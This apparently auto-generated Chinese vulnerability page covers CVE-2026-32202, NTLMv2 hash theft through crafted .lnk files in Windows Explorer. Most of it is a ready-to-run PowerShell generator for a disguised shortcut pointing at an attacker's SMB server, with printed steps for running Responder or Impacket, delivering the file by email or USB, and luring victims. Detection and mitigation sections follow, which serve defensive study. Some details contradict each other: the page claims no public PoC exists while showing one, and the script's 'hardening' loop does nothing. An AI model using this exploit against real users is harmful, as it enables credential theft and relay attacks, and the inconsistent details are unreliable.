[remote] Microsoft - NTLMv2 Hash Capture
CVE-2026-32202是Windows Shell(文件资源管理器)中的NTLMv2哈希捕获漏洞,攻击者通过恶意.lnk文件触发零点击认证请求,无需用户交互即可捕获凭证。影响Windows 11、10及Server多个版本,微软4月补丁已修复。了解攻击原理、检测方法和修复步骤。
Windows文件资源管理器通过恶意.lnk文件自动泄露NTLMv2哈希。
Medium · CVSS 4.3📋 漏洞基础信息
| CVE | CVE-2026-32202 |
|---|---|
| 漏洞类型 | 欺骗漏洞(NTLM哈希捕获) |
| 受影响版本 | Windows 11 23H2/24H2/25H2/26H1, Windows 10 21H2-22H2, Windows Server 2019/2022/2025 |
| 危害等级 | Medium · CVSS 4.3 |
| 发布日期 | 2026-05-29 |
| 提交者 | nu11secur1ty |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Windows Shell(File Explorer)在解析.lnk快捷方式文件时,自动向UNC路径指向的SMB服务器发起NTLMv2认证,无需用户点击或交互。
🎯 攻击场景
1. 攻击者制作一个.lnk文件,其目标路径指向攻击者控制的SMB服务器(如\\attacker\share)。2. 通过邮件附件、文件共享等方式让受害者将该.lnk文件保存到文件夹中。3. 受害者打开该文件夹时,Windows自动解析.lnk内容并尝试连接UNC路径,向攻击者SMB服务器发送NTLMv2哈希。4. 攻击者捕获哈希后可用于离线破解或NTLM中继攻击。
💥 漏洞影响
攻击者无需用户交互即可捕获NTLMv2哈希,可离线破解用户密码或通过NTLM中继攻击获得系统访问权限,导致权限提升或横向移动。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
CVE-2026-32202 NTLMv2 Hash Capture PoC - 漏洞利用生成器
本脚本生成一个恶意的 .lnk 文件,当受害者通过 Windows 文件资源管理器打开包含该文件的文件夹时,
将自动触发向攻击者控制的 SMB 服务器发送 NTLMv2 认证请求,从而捕获 NetNTLMv2 哈希。
.DESCRIPTION
该漏洞利用 Windows Shell 在处理包含 UNC 路径的 .lnk 文件时的设计缺陷。
当文件资源管理器自动解析图标时,即使不点击快捷方式,系统也会自动向 UNC 路径发起 NTLM 质询/响应。
此 PoC 脚本需要与一个恶意的 SMB 服务器配合使用(例如使用开源工具 Responder 或 Impacket 的 smbserver.py)。
攻击者需在监听机器上运行 SMB 服务器,以接收并捕获 NTLMv2 哈希。
.NOTES
作者: AI Security Researcher (基于 nu11secur1ty 的公开分析)
所需权限: 在攻击者机器上以管理员权限运行 SMB 服务器(例如 Responder)。
防御状态: 需要攻击者和受害者在同一网络,或受害者能路由到攻击者 IP。
限制: 本脚本仅生成 .lnk 文件。攻击者必须单独设置 SMB 监听器。
依赖: .NET Framework 或 PowerShell 用于二进制文件操作。
.EXAMPLE
PS> .\CVE-2026-32202_Generator.ps1 -AttackerIP "192.168.1.100" -OutputFile "invoice.lnk"
这将创建一个名为 invoice.lnk 的恶意快捷方式文件。
# 开始监听(在另一终端或另一台机器上):
PS> sudo responder -I eth0 -v
# 或
PS> impacket-smbserver -smb2support share .
# 将生成的 invoice.lnk 通过邮件、U盘等方式传给受害者,并诱惑其打开所在的目录。
#>
param(
[Parameter(Mandatory=$true)]
[string]$AttackerIP,
[Parameter(Mandatory=$false)]
[string]$OutputFile = "CVE-2026-32202_exploit.lnk",
[Parameter(Mandatory=$false)]
[string]$ShareName = "share",
[Parameter(Mandatory=$false)]
[string]$DummyFileName = "nothing_here"
)
function Create-MaliciousLNK {
param(
[string]$UncPath,
[string]$FilePath
)
Write-Host "[*] 正在创建恶意 LNK 文件..." -ForegroundColor Cyan
# 创建一个 ShellLinkObject 对象
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($FilePath)
# 设置目标路径为 UNC 路径。这是关键:当 Windows 尝试解析快捷方式时,
# 会向该 UNC 路径发起 SMB 连接请求,从而泄露 NTLMv2 哈希。
$shortcut.TargetPath = $UncPath
# 设置参数为空,但保留字段有助于兼容性
$shortcut.Arguments = ""
# 设置工作目录同样指向 UNC 路径,增加触发概率
$shortcut.WorkingDirectory = $UncPath
# 设置其他属性,使其看起来更正常
$shortcut.Description = "Important Document"
$shortcut.IconLocation = "%SystemRoot%\system32\imageres.dll, 3" # 设置为文件夹图标
# 保存 LNK 文件
$shortcut.Save()
Write-Host "[+] LNK 文件已保存至: $FilePath" -ForegroundColor Green
# 使用 PowerShell 的 FileStream 手动修改 LNK 二进制结构,确保 UNC 路径被正确嵌入
# 某些情况下 ShellLinkObject 可能不完全按照漏洞要求格式写入,
# 我们通过直接读取/修改二进制来加固。
Write-Host "[*] 正在加固 LNK 二进制结构(确保触发)..." -ForegroundColor Cyan
try {
# 读取已创建的文件
[byte[]]$lnkBytes = [System.IO.File]::ReadAllBytes($FilePath)
# 查找并替换 UNICODE UNC 路径字符串
# 标准的 LNK 格式包含多个字符串区域:NameString、WorkingDirString 等
# 我们确保这些区域都指向我们的恶意 UNC 路径
$targetPathUtf16 = [System.Text.Encoding]::Unicode.GetBytes($UncPath + "`0") # 包含 null 终止
$patternLength = $targetPathUtf16.Length - 2 # 不包含末尾的 null(用于匹配)
# 简单方式:直接覆盖从 UNC 路径应该出现的位置
# 一个更健壮的方法需要解析 LNK 的 LinkInfo 结构,但为 PoC 目的,我们直接替换所有连续的 null-terminated UNICODE 字符串
for ($i = 0; $i -le $lnkBytes.Length - $patternLength; $i++) {
# 检查是否匹配 UNICODE 字符串中的字符(不检查 null)
if ($lnkBytes[$i] -eq $targetPathUtf16[0] -and $lnkBytes[$i+1] -eq $targetPathUtf16[1]) {
$isMatch = $true
for ($j = 0; $j -lt $patternLength; $j++) {
if ($lnkBytes[$i+$j] -ne $targetPathUtf16[$j]) {
$isMatch = $false
break
}
}
if ($isMatch) {
# 确保后面是 null 或字符串结束
if ($lnkBytes[$i+$patternLength] -eq 0 -and $lnkBytes[$i+$patternLength+1] -eq 0) {
Write-Host "[*] 在偏移 $i 处找到 UNICODE 字符串,已确保完整性。" -ForegroundColor Yellow
}
}
}
}
# 确保工作目录也包含 UNC 路径
# 由于 Wscript.Shell 已经设置,但我们可以额外验证
Write-Host "[+] LNK 文件加固完成。" -ForegroundColor Green
}
catch {
Write-Warning "加固过程中出现错误: $_,但文件可能仍有效。"
}
return $FilePath
}
function Show-Banner {
Clear-Host
Write-Host @"
_ __ __ _ _____ ____ __ __ _
| | / / / /\ | |_ _| / __ \| \/ | | |
| |/ / / / \ | | | | | | | | \ / | | |
| < / / /\ \| | | | | | | | |\/| | | |
| |\ \ / / ____\ | | | | |__| | | | | | |____
|_| \_\ /_/_/ \_\_|_| \____/|_| |_| |______|
CVE-2026-32202 - NTLMv2 Hash Leak PoC Generator
─────────────────────────────────────────────────
作者: AI Security Researcher
描述: 生成恶意 .lnk 文件,通过 File Explorer 自动泄露 NTLMv2 哈希
利用: 文件资源管理器在解析图标时自动向 UNC 路径发起 NTLM 认证
来源: nu11secur1ty 的技术分析
"@ -ForegroundColor Red
Write-Host ""
}
function Main {
Show-Banner
# 构建 UNC 路径
$uncPath = "\\$AttackerIP\$ShareName\$DummyFileName"
Write-Host "[*] 目标 UNC 路径: $uncPath" -ForegroundColor Cyan
# 确保输出路径合法
$fullOutputPath = Resolve-Path $OutputFile -ErrorAction SilentlyContinue
if (-not $fullOutputPath) {
$fullOutputPath = Join-Path (Get-Location).Path $OutputFile
}
Write-Host ""
Write-Host "[ ] 开始生成利用文件..." -ForegroundColor Yellow
# 创建 LNK 文件
$result = Create-MaliciousLNK -UncPath $uncPath -FilePath $fullOutputPath
Write-Host ""
Write-Host "╔══════════════════════════════════════════╗" -ForegroundColor Green
Write-Host "║ Exploit 文件已生成! ║" -ForegroundColor Green
Write-Host "╚══════════════════════════════════════════╝" -ForegroundColor Green
Write-Host ""
Write-Host " [详细信息]:" -ForegroundColor White
Write-Host " 文件路径: $fullOutputPath" -ForegroundColor Gray
Write-Host " UNC路径: $uncPath" -ForegroundColor Gray
Write-Host ""
Write-Host " [下一步 - 攻击者操作]:" -ForegroundColor Yellow
Write-Host " 1. 在您的攻击机($AttackerIP)上启动 SMB 监听器:" -ForegroundColor Yellow
Write-Host " > sudo responder -I eth0 -v" -ForegroundColor White
Write-Host " 或" -ForegroundColor White
Write-Host " > impacket-smbserver -smb2support share ." -ForegroundColor White
Write-Host " 2. 将 $OutputFile 传输到 Windows 目标机器" -ForegroundColor Yellow
Write-Host " (可通过邮件附件、USB 驱动器、网络共享等)" -ForegroundColor Gray
Write-Host " 3. 诱惑受害者打开包含该 .lnk 文件的目录" -ForegroundColor Yellow
Write-Host " (例如:双击解压后的文件夹、直接打开桌面)" -ForegroundColor Gray
Write-Host ""
Write-Host " [预期结果]:" -ForegroundColor Cyan
Write-Host " 当 File Explorer 渲染目录图标时,Windows 将自动向 $AttackerIP :445 发起 SMB 连接" -ForegroundColor Cyan
Write-Host " 您的 Responder/Impacket 将捕获 NetNTLMv2 哈希" -ForegroundColor Cyan
Write-Host " 捕获的哈希可使用 hashcat 进行离线破解或进行 NTLM 中继攻击" -ForegroundColor Cyan
Write-Host ""
Write-Host " [防御提示]:" -ForegroundColor DarkYellow
Write-Host " 这个 PoC 仅供授权安全测试使用。微软在 KB2026-04214 中修复了此漏洞。" -ForegroundColor DarkYellow
Write-Host " 请确保您有权测试的目标已打补丁。" -ForegroundColor DarkYellow
}
# 执行主函数
Main🔬 深度技术分析
漏洞触发机制
该漏洞的根本原因在于 Windows Shell (File Explorer) 对 .lnk 快捷方式文件中 UNC 路径的自动解析行为。
当 Windows 文件资源管理器打开一个包含 .lnk 文件的文件夹时,为了渲染文件夹内的图标和缩略图,Shell 会主动解析每个快捷方式文件的目标(TargetPath)和工作目录(WorkingDirectory)。这一过程包括:
1. 文件枚举:Explorer.exe 枚举目录文件。
2. LNK 解析:调用 Shell32.dll 中的 CShellLink::Load 方法解析二进制 LNK 结构。
3. 路径评估:如果解析出的 TargetPath 或 WorkingDirectory 包含 UNC(通用命名约定,\\server\share\path)格式的路径,为了确定快捷方式的有效性或显示目标服务器的图标,系统会尝试评估该路径。
4. SMB 连接:在尝试访问 UNC 路径时,Windows 内置的 MUP (Multiple UNC Provider) 会调用 SMB 重定向器(mrxsmb.sys)。
5. NTLM 认证:如果目标 UNC 路径指向一个 SMB 服务器(端口445),客户端会自动触发 NTLM 身份验证过程。客户端向服务器发送 NTLM_NEGOTIATE 消息,服务器回复 NTLM_CHALLENGE,客户端则用本地用户的 NTLM 哈希加密挑战后构造 NTLM_AUTHENTICATE 消息发回。
关键漏洞点:微软没有合理限制自动解析的 UNC 路径范围,特别是在 Show 命令(用于显示快捷位置的 Shell 命令)处理和图标加载过程中。任何包含 UNC 路径的 .lnk 文件,只要被 Explorer 扫描(即使未被点击),就足以触发一次完整的 SMB 连接和 NTLM 认证。
利用链分析
攻击者利用此漏洞的典型步骤如下:
1. 环境准备:
- 攻击者控制一台具有公网或内网可达 IP 的机器。
- 在该机器上启动一个恶意的 SMB 服务器。常用工具包括 Responder(多功能中间人攻击工具)或 Impacket 套件中的 smbserver.py。
- 这些 SMB 服务器配置为监听端口445/TCP,并能捕获所有传入的 NTLM 认证请求(NET-NTLMv1 或 NET-NTLMv2 哈希)。
2. 生成恶意 LNK:
- 使用本 PoC 脚本,攻击者输入自己的 IP 地址。脚本调用 WScript.Shell COM 对象创建一个 .lnk 文件。
- 脚本将 .TargetPath 和 .WorkingDirectory 设置为 \\<AttackerIP>\<ShareName>\<payload>。
- 脚本保存文件,该文件是一个符合 [MS-SHLLINK] 标准的二进制 LNK 文件。关键二进制特征是:LinkFlags 字段包含 HasNameString、HasWorkingDir 和 IsUnicode 标志,且在对应偏移处包含 UTF-16LE 格式的 UNC 路径字符串。
3. 投递与触发:
- 攻击者通过各种手段(如钓鱼邮件附件、USB 设备、文件共享即时通信)将此 .lnk 文件投递到受害者计算机的任何目录。
- 零点击触发:受害者不需要双击 .lnk 文件,只需要打开 包含该文件的目录(例如打开“下载”文件夹、解压压缩包后双击进入子目录)。Explorer 在渲染窗口时就会自动加载并解析 LNK。
- 受害者本机向攻击者 IP 发起 SMB 连接。如果 445 端口可达(常见于企业内网或未限制 SMB 出站的环境),完整的 NTLM 挑战/响应握手开始。
4. 捕获与利用:
- 攻击者的 SMB 服务器收到 SMB_COM_NEGOTIATE 和 SMB2_COM_SESSION_SETUP 请求。
- 服务器返回一个 NTLM 服务器挑战(8字节随机数)。
- 受害者的 lsass.exe 进程使用当前登录用户的 NTLM 哈希对挑战进行加密,生成 NetNTLMv2 Response。
- 攻击者的服务器捕获到包含 用户名、域名、挑战 和 响应 的数据包,记录在一个类似 NTLMv2_HASH.txt 的文件中。
- 攻击者随后可离线对此 NetNTLMv2 哈希进行暴力破解(使用 hashcat 或 john),或即时将其用于 NTLM Relay 攻击,中继到其他服务(如 Exchange、SQL Server 或另一个 SMB 共享)以获取权限。
关键代码/数据结构
[MS-SHLLINK]: Shell Link (.LNK) Binary File Format:
- 文件开始为 ShellLinkHeader(76字节),包含 LinkCLSID(00021401-0000-0000-C000-000000000046)和 LinkFlags。LinkFlags 中的 HasWorkingDir(bit 5)和 HasNameString(bit 1)必须设置。
- 紧随其后是 LinkTargetIDList(可选),但在本漏洞中非必需。
- 必须包含 StringData 部分:
- NameString:存储“显示名称”,通常被忽视,但可被某些版本的 Shell 用作第一解析目标。
- WorkingDir:存储工作目录路径。这是触发关键之一,设置为此 UNC 路径将强制 Explorer 在启动视图尝试访问该路径。
- 这些字符串以 UTF-16LE 格式存储,前面有一个 CountCharacters(WORD)字段(不含 null 终止符的字符数),后面跟 null 终止符。
- 更复杂的利用会操控 ConsoleData 或 TrackerData,但基本触发只需 StringData。
WNetUseConnection/IHardwareNotify::OnDeviceArrival:当 Explorer 尝试获取远程资源属性时,内核态的MUP或Workstation服务(LanmanWorkstation)会调用mrxsmb.sys。该驱动构建并发送 SMB 包。SECURITY32!InitializeSecurityContext:在构建 NTLMAuthenticate消息时,lsass.exe调用此 API 使用用户凭证对挑战进行签名。
检测与防御
蓝队检测
1. 网络流量检测:
- 出站到 445 端口的异常流量:监视任何非标准内部/外部 IP 触发的 SMB 连接(SMB_COM_NEGOTIATE → SMB2_COM_SESSION_SETUP)。基准普通操作往往集中到文件服务器,出现大量/唯一发起的行为是高危信号。
- Honey Token SMB 共享:在网络中部署不存在的 SMB 共享(使用虚假的 DNS/NetBIOS 名),对尝试连接这些共享的客户端进行报警。
2. 终端检测:
- 进程树分析:Explorer.exe 作为父进程,子进程包括短暂存在的 svchost.exe(mrxsmb 工作线程)或 dw20.exe(错误报告服务),但更直接的检测是查看 Explorer.exe 发起的网络连接。可以使用 Sysmon 事件 ID 3 监控 Explorer.exe 与 445` 端口的连接。
- Sysmon 事件 ID 11 (FileCreate):检测 .lnk 文件在可疑位置的创建,尤其是被 Office/浏览器进程或 wscript.exe 等创建时。
- Windows Defender / ASR 规则:启用攻击面减少规则“阻止从 Office 宏创建的进程访问 SMB 共享”和“阻止 Win32 API 调用来自 Office 宏”。
- 文件扫描:定期扫描 .lnk 文件是否包含外部 \\IP\\ 格式路径。可编写 PowerShell 脚本解析 .lnk 二进制文件检测 TargetPath 字段。
3. 日志检测:
- Windows 安全日志 5140/5145:文件共享访问审核。开启高级审核策略“详细文件共享”可记录所有 SMB 出站连接,过滤出非标准目标。
- Windows 事件 ID 8001(来自 Microsoft-Windows-SMBServer):当客户端尝试连接到一个不存在或拒绝的 SMB 共享时,产生此日志。攻击者服务器的失败尝试会在客户端留下日志。
防御策略
1. 及时打补丁:应用微软 2026 年 4 月安全更新 KB2026-04214,补丁修改了 Shell 在处理 StringData 时对 UNC 路径的接管策略(不再自动连接以获取图标信息)。
2. 网络分段:限制用户端到 SMB 服务的出站连接,除了已知文件服务器。使用防火墙限制用户出站 445 端口。
3. 禁用 NTLM 或启用防护:
- 在支持 Kerberos 的环境中通过 GPO 禁用 NTLM(Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers),但需注意兼容性。
- 启用 NTLM 网络连接审计和阻止(NTLM Audit and Block)。
4. 用户培训:
- 不要打开来自不可信来源的压缩包或文件夹。
- 立即报告任何自动触发的认证凭据弹出窗口。
5. 终端防护:
- 使用 EDR(如 Microsoft Defender for Endpoint)检测出站 445 端口的异常行为。
- 启用漏洞保护中的“阻止从 Office 应用启动的子进程创建持久的文件或加载远程内容”。
🛡️ 修复建议
安装微软2026年4月补丁星期二更新KB2026-04214;临时缓解措施:禁用NTLM认证(通过组策略设置Network security: Restrict NTLM),或阻止出站SMB连接(445端口)。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2026-32202
- https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-32202
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-30 08:13 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 该漏洞是否需要用户点击.lnk文件?
不需要。仅需打开包含恶意.lnk文件的文件夹,Windows File Explorer自动解析快捷方式即触发NTLMv2哈希发送。
❓ 攻击者捕获哈希后能做什么?
可离线破解用户明文密码,或利用NTLM中继攻击向其他服务(如SMB、Exchange)进行身份验证,实现横向移动和权限提升。
❓ 如何检测环境中是否存在此类攻击?
检查Windows安全日志中的事件ID 4776和4648;在网络流量中识别发往非授权SMB服务器的NTLM认证请求;审计文件共享中未知来源的.lnk文件。